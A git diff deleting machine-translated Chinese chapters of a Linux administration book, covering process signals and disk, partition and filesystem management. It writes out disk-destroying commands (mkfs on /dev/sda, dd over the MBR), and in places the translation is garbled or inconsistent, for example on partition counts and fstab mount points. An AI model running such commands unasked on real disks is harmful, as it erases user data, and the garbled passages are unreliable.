Terminal session with PID `3741`: - - ```sh - kill -HUP 3741 - ``` - - 在前面的命令中,我们既可以指定信号值(例如,`SIGHUP`的信号值为`1`),也可以只指定不带`SIG`前缀的信号名称(例如,`SIGHUP`的信号值为`HUP`)。 - - 使用`killall`,我们可以表示多个进程正在运行一个特定的命令(例如,`test.sh`)。 下面的命令终止所有运行`test.sh`脚本的进程,并将结果输出到控制台(通过`-e`选项): - - ```sh - killall -e -TERM test.sh - ``` - - 命令回显信息如下: - - ![Figure 5.49 – Terminating multiple processes with killall](img/B13196_05_49.jpg)** - - **图 5.49 -使用 killall 终止多个进程 - -* 让我们假设我们有以下 bash 脚本(`test.sh`),它实现了`SIGUSR1`的信号处理程序: - -![Figure 5.50 – Bash script implementing a signal handler for SIGUSR1](img/B13196_05_50.jpg) - -图 5.50 - Bash 脚本实现 SIGUSR1 的信号处理程序 - -行`3`定义了一个信号处理函数(`sig_handler`)来捕获`SIGUSR1`: - -```sh -trap sig_handler SIGUSR1 -``` - -我们可以将脚本作为后台进程运行: - -```sh -./test.sh & -``` - -我们可以让相关的后台进程运行一段时间,然后用下面的命令发送一个`SIGUSR1`信号: - -```sh -killall -e -USR1 test.sh -``` - -输出如下: - -![Figure 5.51 – Bash script implementing a signal handler for SIGUSR1](img/B13196_05_51.jpg) - -图 5.51 - Bash 脚本实现 SIGUSR1 的信号处理程序 - -bash 脚本(`test.sh`)捕获`SIGUSR1`信号,执行`sig_handler()`函数,然后继续执行。 - -Linux 进程和信号是一个巨大的领域。 我们在这里提供的信息远远不是关于这个主题的全面指南。 我们希望这种展示一些常见用例的实用的旋转和亲身实践的方法能够激励您接受并可能掌握更有挑战性的问题。 - -# 总结 - -详细研究 Linux 进程和守护进程可能是一项重要的工作。 在这个主题上有价值的著作取得了令人钦佩的成功的地方,一个相对简短的章节可能会相形见绌。 然而在这一章中,我们试图给我们所认为的一切披上一层现实的、现实的、实用的外衣,以弥补我们在抽象或学术领域可能存在的缺陷。 - -在这一点上,我们希望您能够适应进程和守护进程的工作。 到目前为止,您收集到的技能应该包括对流程类型和内部结构的相对良好的掌握,以及对流程属性和状态的合理理解。 特别注意进程间通信机制,特别是信号。 对于每一个主题,我们都进行了实际的深入研究,并探讨了我们认为与日常 Linux 管理任务相关的相关命令、工具和脚本。 - -下一章将进一步深入研究 Linux 磁盘和文件系统。 我们将探讨 Linux 存储、磁盘分区和**逻辑卷管理**(**LVM**)的概念。 请放心,我们到目前为止学到的一切都将在接下来的章节中得到很好的应用。 - -# 问题 - -如果你浏览了本章的某些部分,你可能想回顾一下 Linux 进程和守护进程的一些重要细节: - -1. 考虑一些进程类型。 它们会如何比较呢? -2. 想想过程的解剖。 在检查进程时,您能提供一些必要的进程属性(或`ps`命令行输出中的字段)吗? -3. 你能想出几个过程状态和它们之间的一些动态或可能的转换吗? -4. 如果您正在寻找一个占用系统上大部分 CPU 的进程,您将如何继续? -5. 您能编写一个简单的脚本并使其成为一个长期存在的后台进程吗? -6. 列举至少四个您能想到的进程信号。 何时或如何调用这些信号? -7. 考虑两种 IPC 机制。 试着提出一些赞成和反对他们的意见。** \ No newline at end of file diff --git a/docs/master-linux-admin/06.md b/docs/master-linux-admin/06.md deleted file mode 100644 index 5919d040..00000000 --- a/docs/master-linux-admin/06.md +++ /dev/null @@ -1,535 +0,0 @@ -# 六、使用磁盘和文件系统 - -在本章中,您将学习如何管理磁盘和文件系统,了解 Linux 下的存储,学习如何使用**Logical Volume Management**(**LVM**)系统,以及如何挂载和分区硬盘。 您将学习如何对磁盘进行分区和格式化,以及如何创建逻辑卷,并且您将对文件系统类型有更深的理解。 在本章中,我们将涵盖以下主要主题: - -* 理解 Linux 中的设备 -* 理解 Linux 中的文件系统类型 -* 理解磁盘和分区 -* Linux 下的逻辑卷管理 - -# 技术要求 - -具有磁盘、分区和文件系统的基本知识。 不需要其他特殊的技术要求,只需要在您的系统上安装一个可以工作的 Linux。 在本章的练习中,我们将主要使用 CentOS。 - -本章的代码可通过以下链接获得:[https://github.com/PacktPublishing/Mastering-Linux-Administration](https://github.com/PacktPublishing/Mastering-Linux-Administration)。 - -# 了解 Linux 中的设备 - -正如本书中已经多次提到的,Linux 中的一切都是一个文件。 这也包括设备。 设备文件是 UNIX 和 Linux 操作系统中的特殊文件。 这些特殊的文件基本上是设备驱动程序的接口,它们作为常规文件存在于文件系统中。 - -## Linux 抽象层 - -现在正是讨论 Linux 系统抽象层以及设备如何适应的最佳时机。 Linux 系统通常被组织在三个主要级别上:**硬件级别**、**内核级别**和**用户空间级别**。 - -硬件级别包含您的机器的硬件组件,如内存(RAM)、**中央处理单元**(**CPU**)以及包括磁盘、网络接口、端口和控制器在内的设备。 内存被分为两个独立的区域,称为**内核空间**和**用户空间**。 - -内核是 Linux 操作系统的“心脏”。 内核驻留在内存(RAM)中并管理所有硬件组件。 它是 Linux 系统上的软件和硬件之间的接口。 用户空间级别是执行用户进程的级别。 正如第 5 章,*与进程、守护进程和信号一起工作*所述,进程是一个程序的运行实例。 - -这一切是如何运作的? 内存,被称为 RAM,由用于临时存储信息的细胞组成。 这些单元被执行的不同程序访问,并作为 CPU 和存储之间的中介。 为了保证无缝的执行过程,访问内存的速度是非常高的。 管理用户空间中的用户进程是内核的工作。 内核确保所有进程之间不会相互干扰。 内核空间通常只由内核访问,但有时用户进程需要访问这个空间。 这是通过**系统调用**完成的。 基本上,一个系统调用的方式通过一个活跃的用户进程请求内核服务进程在内核空间,等什么**输入/输出**(**I / O)请求【显示】内部或外部设备。 所有这些请求都在通过 RAM 向 CPU 和 CPU 之间传输数据,以便完成任务。** - -下图显示了 Linux 抽象层。 基本上,有三个不同的层,分布在三个主要的层:硬件层**,它包括所有的硬件组件,包括 CPU、RAM、控制器、硬盘驱动器、ssd、监视器和外设; **内核级**,包含数百万行代码,大部分用 C 语言编写,也包含设备驱动程序; 以及**用户级别**,这是所有应用、服务和守护进程以及 GUI 和 shell 运行的地方:** - -![Figure 6.1 – Linux abstraction layers](img/B13196_06_01.jpg) - -图 6.1 - Linux 抽象层 - -在这个宏大的计划中,设备在哪里? 如上图所示,设备由内核管理。 总之,内核负责管理进程、系统调用、内存和设备。 在处理设备时,内核管理设备驱动程序,设备驱动程序是硬件组件和软件之间的接口。 所有设备只能在内核模式下访问,以实现更安全、更精简的操作。 - -在下一节中,我们将向您介绍 Linux 中的命名约定以及如何管理设备文件。 - -## 设备文件及命名约定 - -在了解了这些抽象层的工作方式之后,您可能想知道 Linux 是如何管理设备的。 这是在**udev**(称为用户空间`/dev`)的帮助下完成的,它是内核的一个设备管理器。 它与**设备节点**一起工作,这些节点是作为驱动程序接口的特殊文件(也称为**设备文件**)。 - -`udev`作为一个守护进程运行,它侦听内核正在发送的用户空间调用,因此可以知道使用了哪些类型的设备以及如何使用这些设备。 这个守护进程被称为`udevd`,它的配置目前在`/etc/udev/udev.conf`下可用。 每个 Linux 发行版都有一组默认的规则来管理`udevd`。 这些规则通常存储在`/etc/udev/rules.d/`目录下,如下截图所示: - -![Figure 6.2 – The udevd configuration files and rules location](img/B13196_06_02.jpg) - -图 6.2 - udevd 配置文件和规则位置 - -简单地说一下,内核使用**netlink**套接字发送事件调用。 netlink 套接字是一个用于进程间通信的接口,用于用户空间进程和内核空间进程。 - -`/dev`目录是用户进程和由内核管理的设备之间的接口。 如果您要使用`ls -la /dev`命令,您将看到内部有许多文件,每个文件具有不同的名称。 如果您要做一个长列表,您将看到不同的文件类型。 一些文件将从字母开始的**和**,但是字母 p【显示】和**也可能存在,取决于您的系统。 以这些字母开头的文件是`device`文件。 以**b**开头的是*块器件*,以**c**开头的是*字符器件*。 您可以运行以下命令查看在您的`/dev`目录中有哪些类型的设备文件:****** - -```sh -ls -la /dev -``` - -软件只能访问固定大小的块设备。 正如您将在*图 6.3*中看到的,磁盘设备`sda`和`sdb`表示为块设备。 块设备有一个固定的大小,可以很容易地被索引。 另一方面,字符设备可以使用数据流访问,因为它们不像块设备那样具有大小。 例如,打印机被表示为字符设备。 在*图 6.3*中,`sg0`和`sg1`是 SCSI 通用设备,并且在我们的案例中没有分配到任何磁盘: - -![Figure 6.3 – Disk drives inside the /dev directory](img/B13196_06_03.jpg) - -图 6.3 - /dev 目录下的磁盘驱动器 - -Linux 使用一种设备名称约定,使整个 Linux 生态系统中的设备管理更容易和一致。 `udev`使用许多特定的命名方案,默认情况下,这些命名方案为设备分配固定的名称。 这些名称在某种程度上是针对设备类别标准化的。 例如,在命名网络设备时,内核使用从固件、拓扑和位置等源编译的信息。 在基于 Red Hat 的系统(如 CentOS)上,有五种用于命名网络接口的方案,我们鼓励您在 Red Hat 客户门户官方文档网站上访问这些方案。 - -您还可以检查系统上活动的`udev`规则。 在 CentOS 8 发行版中,它们被存储在`/lib/udev/rules.d/`目录下: - -当涉及到硬盘驱动器或外部驱动器时,这些约定更加流线型。 下面是一些例子: - -* **为经典的 IDE 驱动器用于 ATA 硬盘**:`hda`(主设备),`hdb`(奴隶设备在第一频道),`hdc`(主设备在第二频道),和`hdd`(奴隶设备在第二频道) -* **对于 NVMe 驱动**:`nvme0`(第一个设备控制器-字符设备),`nvme0n1`(第一个命名空间-块设备),`nvme0n1p1`(第一个命名空间,第一个分区-块设备) -* **用于 MMC 驱动**:`mmcblk`(用于 SD 卡使用 eMMC 芯片),`mmcblk0`(第一个设备),以及`mmcblk0p1`(第一个设备,第一个分区) -* **SCSI 驱动程序用于现代 SATA 或 USB**:`sd`(为大容量存储设备),`sda`(第一次注册的设备),`sdb`(第二注册设备),`sdc`(第三注册设备),等等,`sg`(通用 SCSI 层-字符设备) - -关于本章,我们最感兴趣的设备是大容量存储设备。 那些设备通常是**硬盘驱动器**(**硬盘驱动器**)或**固态驱动器**(**SSD**),用于在您的计算机内存储数据。 这些驱动器很可能被划分成分区,这些分区具有文件系统提供的特定结构。 我们谈论了一些关于文件系统之前在【病人】*这本书第二章*,【t16.1】Linux 文件系统,当我们提到 Linux 目录结构,但现在是时候进入更多的细节关于磁盘的工作在一个 Linux 系统。 - -# 了解 Linux 中的文件系统类型 - -在讨论物理介质时,如硬盘驱动器或外部驱动器,我们使用的是*而不是*来指代目录结构。 这里,我们讨论的是格式化和/或分区时在物理驱动器上创建的结构。 这些结构(取决于它们的类型)被称为文件系统,它们决定在驱动器上存储文件时如何管理。 - -有几种类型的文件系统,有些是 Linux 生态系统的本地文件系统,而有些则不是,例如特定的 Windows 或 macOS 文件系统。 在本节中,我们将只描述 linux 本地文件系统。 - -Linux 中使用最广泛的文件系统是`Extended`文件系统,即`Ext`、`Ext2`、`Ext3`和`Ext4`、`XFS`文件系统、`ZFS`和`btrfs`(b -树文件系统的简称)。 每一种方法都有其优缺点,但它们都能够完成它们所设计的工作。 `Extended`文件系统是 Linux 中使用最广泛的文件系统,而且它们一直都是值得信赖的。 最新的迭代`Ext4`与`Ext3`相似,但是更好,改进了对更大文件、碎片和性能的支持。 `Ext3`文件系统使用 32 位寻址,`Ext4`使用 48 位寻址,因此支持最大 16tb 的文件。 它还支持无限制的子目录,因为`Ext3`只支持 32k 的子目录。 此外,在`Ext4`中还添加了对扩展时间戳的支持,为公元 2446 年提供了两个额外的位,并在内核级别上进行了在线碎片整理。 - -然而,`Ext4`并不是真正的下一代文件系统,而是一个改进的、可靠的、健壮的、稳定的*工作机器*,它没有通过数据保护和完整性测试。 其日志记录系统不适合检测和修复数据损坏和退化。 这就是为什么其他文件系统,如`XFS`和`ZFS`,从版本 7(`XFS`)开始在 Red Hat Enterprise Linux 中使用,从版本 16.04(`ZFS`)开始在 Ubuntu 中使用。 `btrfs`的案例有些争议。 它被认为是一种现代的文件系统,但它仍然作为单个磁盘文件系统使用,而不是在多个磁盘卷管理器中使用,这是由于与其他文件系统相比存在许多性能问题。 它在 SUSE Linux Enterprise 和 openSUSE 中使用,Red Hat 不再支持它,从版本 33 开始,它已经被选为 Fedora 中未来的默认文件系统。 - -## Ext4 文件系统特性 - -文件系统从一开始就是为 Linux 设计的。 尽管它正在被其他文件系统慢慢地取代,但它仍然具有强大的特性。 它提供块大小选择,值在 512 到 4,096 字节之间。 还有一个名为 inode reservation 的特性,它在创建目录时保存一对 inode,以提高创建新文件时的性能。 - -布局很简单,按小写顺序编写(有关这方面的详细信息,请访问[https://www.section.io/engineering-education/what-is-little-endian-and-big-endian/](https://www.section.io/engineering-education/what-is-little-endian-and-big-endian/)),块组包含 inode 数据,以降低访问时间。 每个文件都预先分配了数据块,以减少碎片。 `Ext4`还利用了许多增强功能。 其中,我们将把以下几点纳入讨论: 最大文件系统大小 1**Exabyte**(【显示】**EB),能够使用多个块分配,将大文件的最大可能大小获得更好的性能,应用 allocate-on-flush 技术更好的性能,使用方便的`fsck`命令快速的文件系统检查, 使用`checksums`进行日志记录和提高可靠性,以及使用改进的时间戳。** - -## XFS 文件系统特性 - -企业 Linux 开始发生变化,从`Ext4`转移到其他有能力的文件系统类型。 其中有`XFS`。 这个文件系统首先由 SGI 创建,并在 IRIX 操作系统中使用。 它最重要的关键设计元素是性能,能够处理大型数据集。 此外,它被设计用于处理并行 I/O 任务,并保证高 I/O 速率。 支持的文件系统最高可达 16eb,对单个文件的支持最高可达 8eb。 `XFS`具有记录配额信息以及在线维护任务(如碎片整理、放大或恢复)的功能。 还有用于备份和恢复的特定工具,包括`xfsdump`和`xfsrestore`。 - -## btrfs 文件系统特性 - -b -树文件系统(`btrfs`)仍在开发中,但它解决了与现有文件系统相关的问题,包括缺少快照、池化、校验和和多设备跨越。 这些特性在企业 Linux 环境中是必需的。 对文件系统进行快照并维护其自己的内部框架来管理新分区的能力使`btrfs`成为关键的企业生态系统中一个可行的新成员。 - -还有其他的文件系统,我们没有讨论,包括`reiserFS`和`GlusterFS`,`NFS`(网络文件系统),`SMB`(Samba CIFS 文件系统),`ISO9660`为 cd - rom 和 Joliet 扩展,和非 Linux 的,包括`FAT`、`NTFS`,`exFAT`、【显示】,或 MacOS 扩展等等。 如果您想在中更详细地了解这些内容,请随意进行进一步调查,Wikipedia:[https://en.wikipedia.org/wiki/File_system](https://en.wikipedia.org/wiki/File_system)是一个很好的起点。 要查看 Linux 发行版中支持的文件系统列表,运行以下命令: - -```sh -cat /proc/filesystems -``` - -Linux 实现了一个特殊的软件系统,它被设计用来运行文件系统的特定功能。 它被称为虚拟文件系统,充当内核、文件系统类型和硬件之间的桥梁。 因此,当一个应用想要打开一个文件时,这个动作通过虚拟文件系统作为一个抽象层来传递: - -![Figure 6.4 – The Linux Virtual File System abstraction layer](img/B13196_06_04.jpg) - -图 6.4 - Linux 虚拟文件系统抽象层 - -文件系统的基本功能包括提供名称空间、作为分层目录结构的逻辑基础的元数据结构、磁盘块使用情况、文件大小和访问信息,以及用于逻辑卷和分区的高级数据。 每个文件系统都有一个**应用编程接口**(**API**)。 因此,开发人员能够通过创建、移动和删除文件,或者索引、搜索和查找文件的特定算法来访问系统函数,从而调用文件系统对象操作。 此外,每个现代文件系统都提供一种特殊的访问权限方案,用于确定控制用户访问文件的规则。 - -至此,我们已经介绍了主要的 Linux 文件系统,包括`EXT4`、`btrfs`和`XFS`。 在下一节中,我们将介绍 Linux 中磁盘和分区管理的基础知识。 - -# 了解磁盘和分区 - -对于任何系统管理员来说,了解磁盘和分区都是一项重要的资产。 从系统安装开始,格式化并对磁盘进行分区是非常重要的。 了解系统上可用的硬件类型是很重要的,因此了解如何使用它是非常必要的。 - -## 常用的硬盘类型 - -磁盘是存储数据的硬件组件。 它有各种各样的类型和使用不同的接口。 主要的磁盘类型是众所周知的旋转硬盘驱动器(或 hdd),**ssd**,以及**非易失性内存表达**(**NVMe**)。 ssd 和 NVMes 使用类似 ram 的技术,与原始旋转硬盘驱动器相比,具有更好的能耗和更高的传输速率。 使用的接口如下: - -* **Integrated Drive Electronics**(**IDE**)-这是一个旧的标准,用于消费级硬件,具有较小的传输速率; 现在弃用。 -* **串行高级技术附件**(**SATA**)-替换 ide; 传输速率高达 16gb /s。 -* **Small Computer Systems Interface**(**SCSI**)-主要用于企业服务器具有复杂硬件组件的 RAID 配置。 -* **串行附加 SCSI**(**SAS**)-这是一个点对点串行协议接口,具有与 SATA 相似的传输速率,主要用于企业环境中,因为它们的可靠性。 -* **通用串行总线**(**USB**)-用于外部硬盘驱动器和内存驱动器。 - -每个磁盘都有一个特定的几何形状,由磁头、柱面、磁道和扇区组成。 在 Linux 系统中,为了查看关于磁盘几何形状的信息,有`fdisk -l`命令。 在我们的测试系统上,我们安装了两个磁盘设备,一个是安装了 CentOS 8 的 SATA SSD,一个是用于存储数据的 SATA HDD。 我们将使用以下命令显示磁盘信息: - -```sh -sudo fdisk -l -``` - -如果不格式化和分区,磁盘就是一大块金属。 这就是为什么在下一节中,我们将教你什么是分区。 - -## 磁盘分区 - -磁盘通常使用分区。 为了理解分区,了解磁盘的几何结构是必要的。 分区是扇区和/或柱面的连续集合,它们可以有几种类型:主分区、扩展分区和逻辑分区。 一个磁盘最多支持 15 个分区。 前四个分区是主分区或扩展分区,接下来的 15 个分区是逻辑分区。 而且,只能有一个扩展分区,但是可以将扩展分区划分为几个逻辑分区,直到达到最大数量。 - -### 分区类型 - -有两种主要的分区类型,**主引导记录**(**MBR**)和**GUID 分区表**(**GPT**)。 MBR 的使用一直持续到 2010 年左右。 它的限制由主分区的最大数目(4 个)和分区的最大大小(2tb)给出。 MBR 对不同类型的分区使用 16 进制代码,例如 FAT 的分区为`0x0c`,NTFS 的分区为`0x07`,Linux 文件系统类型为`0x83`,Swap 的分区为`0x82`。 GPT 成为**统一的可扩展固件接口的一部分【t16.1】(****UEFI)标准与 MBR 解决一些问题,包括分区限制,解决方法,使用只有一个副本的分区表,等等。 它支持多达 128 个分区和磁盘大小高达 75.6**Zettabytes**(**ZB**)。** - -### 分区表 - -磁盘的分区表存储在磁盘的 MBR 中。 MBR 是驱动器的前 512 字节。 其中,分区表为 64 字节,存储在记录的前 446 字节之后。 在 MBR 的末尾,有两个字节称为扇区结束标记。 前 446 字节留给通常属于引导加载程序的代码。 在 Linux 中,引导加载程序称为 GRUB。 - -当引导 Linux 系统时,引导加载程序会寻找活动分区。 单个磁盘上只能有一个活动分区。 找到活动分区后,引导加载程序将加载项。 分区表有 4 个条目,每个条目大小为 16 字节,每个条目都可能属于系统上的一个主分区。 此外,每个条目包含有关`cylinder/head/sectors`的起始地址、分区类型代码、`cylinder/head/sectors`的结束地址、起始扇区以及一个分区内扇区的数量的信息。 - -### 命名分区 - -内核在较低的级别与磁盘进行交互。 这是通过存储在`/dev`目录中的设备节点完成的。 设备节点使用一个简单的命名约定,这有助于知道哪个磁盘是需要注意的。 查看`/dev`目录的内容,可以在本节前面的*图 6.3*和*图 6.4*中看到所有可用的磁盘节点,也称为磁盘驱动器。 一个简短的解释总是有用的,所以磁盘和分区识别如下: - -* 第一个硬盘驱动器总是`/dev/sda`(对于 SCSI 或 SATA 设备)。 -* 第二个硬盘驱动器是`/dev/sdb`,第三个是`/dev/sdc`,以此类推。 -* 第一个磁盘的第一个分区是`/dev/sda1`。 -* 第二个磁盘的第一个分区是`/dev/sdb1`。 -* 第二个磁盘的第二个分区是`/dev/sdb2`,以此类推。 - -我们指定这在 SCSI 和 SATA 的情况下是正确的,我们需要更详细地解释这一点。 内核根据 SCSI 设备的 ID 号而不是根据硬件总线的位置给出字母指定,例如 a、b 和 c。 - -### 分区属性 - -为了了解分区的属性,可以使用 Linux 内部的两个程序:`blkid`和`lsblk`。 两者使用相同的内核库,但输出不同。 下面是两个例子,说明这些实用程序如何用于查看分区的关键属性: - -![Figure 6.5 – The blkid and lsblk output](img/B13196_06_05.jpg) - -图 6.5 - blkid 和 lsblk 输出 - -在前面的屏幕截图中,您可以看到`blkid`命令显示每个分区和磁盘的 UUID 及其类型。 `lsblk`命令显示设备名称(节点的名称来自`sysfs`和`udev`数据库),主要和次要的设备号,设备的可移动的状态(永久`0`和`1`可移动设备),以人类可读的格式,大小只读状态(再次使用`0`那些不是只读的, 和`1`为只读)、设备类型和设备的挂载点(在可用的地方)。 - -### 分区表的编辑 - -在 Linux 中,在管理分区表时可以使用几种工具。 最常用的有以下几种: - -* 一个命令行分区编辑器,可能是使用最广泛的一个 -* 一个非交互式的分区编辑器,主要用于脚本 -* `parted`- GNU (GNU 的递归缩写是*而不是 Unix*)分区操作软件 -* `Gparted`-图形界面为`parted` - -其中,我们只详细介绍如何使用`fdisk`,因为这是 Linux 中使用最广泛的命令行分区编辑器。 它可以在 Ubuntu 和 CentOS 以及许多其他发行版中找到。 要使用`fdisk`,您必须是根用户。 我们建议您在使用`fdisk`时要谨慎,因为它可能会损坏您现有的分区和磁盘。 `fdisk`可以用于特定的磁盘(例如`/dev/sdb`),可以使用以下命令: - -```sh -sudo fdisk /dev/sdb -``` - -您将注意到在第一次使用`fdisk`时,会警告您,只有当您决定将更改写入磁盘时,才会对磁盘进行更改。 系统还提示您引入一个命令,并显示选项`m`以寻求帮助。 我们建议您始终使用帮助菜单,即使您已经知道最常用的命令。 - -当您键入`m`时,将显示`fdisk`可用命令的整个列表。 您将看到管理分区、创建新引导记录、保存更改等选项。 因为列出它们会占用太多的书籍空间,我们鼓励你在自己的系统上测试: - -为了查看操作系统所知道的分区,如果您不确定您刚刚完成的操作,您总是可以使用`cat`命令可视化`/proc/partitions`文件的内容: - -![Figure 6.6 – Contents of the /proc/partitions file](img/B13196_06_06.jpg) - -图 6.6 - /proc/partitions 文件的内容 - -因此,我们看到 Linux 如何允许使用标签和 uuid 来命名磁盘驱动器,您可以使用`fdisk`来管理这一点。 除`fdisk`外,还使用`blkid`、`lsblk`等工具查看分区属性。 - -尽管`fdisk`是每个主要 Linux 发行版中的默认工具,但是还有一个可能会很有用,叫做`parted`。 请记住,与`fdisk`不同,`parted`将所有修改直接写入磁盘。 在这方面,请小心使用它。 下面,我们将向您展示如何使用`parted`设置 GPT 分区表。 要启动`parted`,以`sudo`或 root 用户运行`parted`命令: - -```sh -sudo parted -``` - -要列出所有分区,在`parted`命令行界面中运行`print`命令: - -```sh -(parted) print -Error: /dev/sda: unrecognised disk label -Model: ATA ST1000LM048-2E71 (scsi) -Disk /dev/sda: 1000GB -Sector size (logical/physical): 512B/4096B -Partition Table: unknown -``` - -现在,我们将向您展示如何为`/dev/sda`创建一个新的 GPT 分区表。 首先,我们使用 parted 命令行界面中的`select`命令选择我们想要使用的磁盘: - -```sh -(parted) select /dev/sda -Using /dev/sda -``` - -然后,我们将使用`mklabel`命令将新的分区表设置为 GPT,并使用另一个`print`命令检查结果: - -```sh -(parted) mklabel gpt -(parted) print -Model: ATA ST1000LM048-2E71 (scsi) -Disk /dev/sda: 1000GB -Sector size (logical/physical): 512B/4096B -Partition Table: gpt -``` - -正如您在前面的输出中看到的,磁盘的新分区表被设置为 GPT。 - -在某些情况下需要备份和恢复分区表。 由于分区有时可能会出错,因此一个好的备份策略可以帮助您。 为此,您可以使用`dd`实用程序。 这个程序非常有用和强大,因为它可以克隆磁盘或擦除数据。 下面是一个例子: - -![Figure 6.7 – Backing up MBR with the dd command](img/B13196_06_07.jpg) - -图 6.7 -使用 dd 命令备份 MBR - -`dd`命令具有清晰的语法。 默认情况下,它使用标准输入和标准输出,但是您可以通过使用`if`选项指定新的`input`文件和使用`of`选项指定`output`文件来更改这些内容。 我们指定了`input`文件作为我们要备份的磁盘的`device`文件,并为`backup output`文件指定了一个名称。 我们还使用`bs`选项指定块大小,使用`count`选项指定要读取的块数量。 要恢复引导加载程序,可以使用`dd`命令如下: - -```sh -sudo dd if=~/mbr-backup of=/dev/sda bs=512 count=1 -``` - -分区表编辑器是 Linux 中管理磁盘的重要工具。 如果您不知道如何格式化分区,那么它们的使用是不完整的。 在下一节中,我们将向您展示如何格式化分区。 - -### 格式化和检查分区 - -在分区上格式化文件系统最常用的程序是`mkfs`。 对分区进行格式化也称为*,使*成为一个文件系统,因此该实用程序的名称为。 它为不同的文件系统提供了特定的工具,所有这些工具都使用相同的前端实用程序。 下面是所有`mkfs`支持的文件系统的列表: - -![Figure 6.8 – Details regarding the mkfs utility](img/B13196_06_08.jpg) - -图 6.8 -关于 mkfs 实用程序的详细信息 - -正如我们在开始时所述,我们使用的系统有两个数据驱动器:一个用于操作系统的 SSD (240 GB)和一个用于数据的 HDD (1tb)。 为了将最大的磁盘格式化为具有`ext4`文件系统,我们将使用`mkfs`实用程序。 需要执行的命令如下: - -1. 首先,我们将运行`fdisk`实用程序以确保正确选择了最大的磁盘。 运行如下命令: - - ```sh - sudo fdisk -l - ``` - -2. Then, check the output with extreme caution and select the correct disk name. If you have several disks on your system, pay attention to each one and choose with caution. In the output, disks will be shown with names like `/dev/sda`, `/dev/sdb` and so on. - - 重要提示 - - 在我们的示例中,最大的磁盘也是命令输出显示的第一个磁盘。 这对您来说可能不同,所以在磁盘上使用下一个命令时要注意。 - -3. 在仔细选择要使用的磁盘之后,我们将使用`mkfs`将其格式化为`Ext4`文件系统。 我们假设磁盘名称为`/dev/sda`,并使用以下命令: - - ```sh - sudo mkfs.ext4 /dev/sda - ``` - -在使用`mkfs`时,有几个选项可用。 要创建一个`Ext4`类型分区,您可以使用图 6.16*中所示的命令,或者您可以使用文件系统类型后面的`-t`选项。 您还可以为提供更详细的输出使用`-v`选项,为创建文件系统时扫描坏扇区使用`-c`选项。 如果您想要从命令中为分区添加一个名称,还可以使用`-L`选项。 以创建名称为`newpartition`的文件系统分区为例:* - -```sh -sudo mkfs -t ext4 -v -c -L newpartition /dev/sdb1 -``` - -一旦创建了分区,建议检查它是否有错误。 与`mkfs`类似,还有一个工具叫做`fsck`。 这是一个实用程序,有时会在异常关闭后或在设置的间隔内自动运行。 它为最常用的文件系统提供了特定的程序,就像`mkfs`。 下面是在我们的一个分区上运行`fsck`的输出。 运行后,会显示是否有问题。 在下面的屏幕截图中,输出显示检查分区没有错误: - -![Figure 6.9 – Using fsck to check a partition](img/B13196_06_09.jpg) - -图 6.9 -使用 fsck 检查分区 - -创建分区之后,需要挂载它们。 每个分区将被安装在现有的文件系统结构中。 安装允许在树结构的任何位置。 每个文件系统都挂载在目录结构中创建的特定目录下。 - -### 安装和卸载分区 - -Linux 中的挂载实用程序称为`mount`,卸载实用程序称为`umount`。 要查看是否挂载了某个分区,您可以简单地键入并查看输出。 我们正在输出中寻找`/dev/sda`,但是它没有显示出来。 这意味着我们的第二个驱动器没有挂载。 - -要挂载它,我们需要创建一个新目录。 为了简单起见,我们将展示安装和使用分区所需的所有步骤: - -1. 执行`fdisk`命令创建新的分区表: - - ```sh - sudo fdisk /dev/sda - ``` - -2. 从`fdisk`菜单中选择`g`选项来创建一个新的空 GPT 分区表。 -3. 使用`w`选项将更改写入磁盘。 -4. 使用`Ext4`文件系统格式化分区: - - ```sh - sudo mkfs.ext4 /dev/sda - ``` - -5. 创建一个新目录来挂载分区。 在我们的案例中,我们在`/mnt`目录中创建了一个名为`hdd`的新目录: - - ```sh - sudo mkdir /mnt/hdd - ``` - -6. 使用以下命令挂载分区: - - ```sh - sudo mount /dev/sda /mnt/hdd - ``` - -7. 从新位置开始使用新分区。 - -挂载实用程序有许多可用选项。 使用帮助菜单来查看引擎盖下的一切。 现在分区已经挂载,可以开始使用它了。 如果您想卸载它,可以使用`umount`实用程序。 你可以如下使用它: - -```sh -sudo umount /dev/sda -``` - -卸载文件系统时,如果该分区仍在使用,您可能会收到错误。 正在使用意味着来自该文件系统的某些程序仍然在内存中运行,使用来自该分区的文件。 因此,您首先必须关闭所有正在运行的应用,如果有其他进程使用该文件系统,您也必须杀死它们。 有时候,文件系统繁忙的原因一开始并不清楚,要知道哪些文件正在打开并运行,可以使用`lsof`命令: - -```sh -sudo lsof | grep /dev/sda -``` - -挂载文件系统只能使它们在系统关闭或重新引导之前可用。 如果希望更改是持久的,则必须相应地编辑`/etc/fstab`文件。 首先,用你最喜欢的文本编辑器打开文件: - -```sh -sudo nano /etc/fstab -``` - -添加一个类似于下面的新行: - -```sh -/dev/sda /mnt/sdb ext4 defaults 0 0 -``` - -`/etc/fstab`文件是文件系统表的配置文件。 它由控制如何使用文件系统所需的一组规则组成。 这大大减少了可能出现的错误,从而简化了在使用时手动挂载和卸载每个磁盘的需要。 这个表有六列结构,每一列都用一个特定的参数指定。 只有一个正确的顺序,参数工作如下: - -* **设备名称**-使用 UUID 或挂载的设备名称。 -* **挂载点**-设备当前或将要挂载的目录。 -* **文件系统类型**-所使用的文件系统类型。 -* **选项**-显示的选项,多个选项之间用逗号分隔。 -* **备份操作**—这是文件中最后两位的第一个数字; `0`=没有备份,`1`= dump 实用程序备份。 -* **文件系统检查顺序**-这是文件中的最后一个数字; `0`= no`fsck`filesystem check,其中`1`用于根文件系统,`2`用于其他分区。 - -通过更新`/etc/fstab`文件,挂载是永久的,不受任何关机或系统重启的影响。 通常,`/etc/fstab`文件只存储关于内部硬盘驱动器分区和文件系统的信息。 外接硬盘驱动器或 USB 驱动器被内核的**硬件抽象层**(**HAL**)自动地挂载在`/media`下。 - -到目前为止,您应该已经熟悉了 Linux 中的分区管理,但是还有一种类型的分区我们还没有讨论:交换分区。 在下一节中,我们将介绍 swap 在 Linux 上的工作方式。 - -### 交换 - -Linux 使用健壮的交换实现。 当物理内存不再可用时,通过交换,虚拟内存使用硬盘空间。 这些额外的空间可以用于那些没有使用所有给定内存的程序,或者当内存压力很大时。 交换通常使用一个或多个专用分区来完成,因为 Linux 允许多个交换区域。 建议的交换大小至少是系统上的总 RAM。 要检查系统上实际使用的交换模块,可以将`/proc/swaps`文件连接起来: - -![Figure 6.10 – Checking the currently used swap](img/B13196_06_10.jpg) - -图 6.10 -检查当前使用的交换模块 - -您还可以使用 free 命令查看内存使用情况,如下所示: - -![Figure 6.11 – Memory and swap 